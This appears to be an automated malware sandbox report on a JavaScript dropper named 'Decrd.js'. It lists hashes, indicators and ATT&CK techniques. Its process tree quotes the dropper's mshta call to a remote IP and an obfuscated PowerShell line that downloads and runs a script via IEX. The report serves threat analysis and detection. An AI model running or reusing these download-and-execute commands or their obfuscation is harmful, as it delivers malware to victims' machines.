ee85d1f8fa2c3d5c927bf3b547e8c4849e02185cc264a64d34ae8e896fc28616

General

Target

Decrd.js
Size

96KB
MD5

6468ec2c43b826c943bbb0c79e219d77
SHA1

570d3d519a7e80a85bb91b1ba3f617205ef6e403
SHA256

ee85d1f8fa2c3d5c927bf3b547e8c4849e02185cc264a64d34ae8e896fc28616
SHA512

58418b135e330499149098c678e89a9ce45ddc6c344b5f92f69729f93773b050c8de08f9afd2e6a33e5b478374d43a15d531da4d07df01f1bf6445a2ed4273d8
SSDEEP

768:uAgOg2NONIp2NONIAgOg2NONI+2NONIAgOg2NONIRyqD732NONW2NONxONIgOv24:KyE+nKT72SVe

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.92.248.152/z

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.92.248.152/z/a.png

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	2956	wscript.exe
6	2956	wscript.exe
8	2956	wscript.exe
10	2728	mshta.exe
13	2568	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2568	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2568	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2732	2956	wscript.exe	29
PID 2956 wrote to memory of 2732	2956	wscript.exe	29
PID 2956 wrote to memory of 2732	2956	wscript.exe	29
PID 2732 wrote to memory of 2728	2732	cmd.exe	30
PID 2732 wrote to memory of 2728	2732	cmd.exe	30
PID 2732 wrote to memory of 2728	2732	cmd.exe	30
PID 2728 wrote to memory of 2568	2728	mshta.exe	31
PID 2728 wrote to memory of 2568	2728	mshta.exe	31
PID 2728 wrote to memory of 2568	2728	mshta.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Decrd.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Users\Admin\AppData\Local\Temp&&mshta http://91.92.248.152/z
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\mshta.exe
    mshta http://91.92.248.152/z
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://91.92.248.152/z/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
e58a9d3552b35e2109201e94d3681913

SHA1
9ec9be2e7d87cc589733dd3d088b1e4269aa2eec

SHA256
95dbcc6b37c9ec9909cad7c655e164b29167ef57f3c85ceafa225d5d26bab2a7

SHA512
0ea21946bf565df7fe2c8a3f34c395bcde3be7ac0b92c5da5d1fcd332481778d15117f66312de989252f930ae29b7eea4a07e876d9f99380849fda1fb81b2ede

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarEA6.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
memory/2568-140-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2568-142-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2568-143-0x000007FEF3790000-0x000007FEF412D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-144-0x0000000001D90000-0x0000000001E10000-memory.dmp

Filesize
512KB

Download
memory/2568-145-0x000007FEF3790000-0x000007FEF412D000-memory.dmp

Filesize
9.6MB

Download
memory/2568-146-0x0000000001D90000-0x0000000001E10000-memory.dmp

Filesize
512KB

Download
memory/2568-147-0x0000000001D90000-0x0000000001E10000-memory.dmp

Filesize
512KB

Download
memory/2568-148-0x000007FEF3790000-0x000007FEF412D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads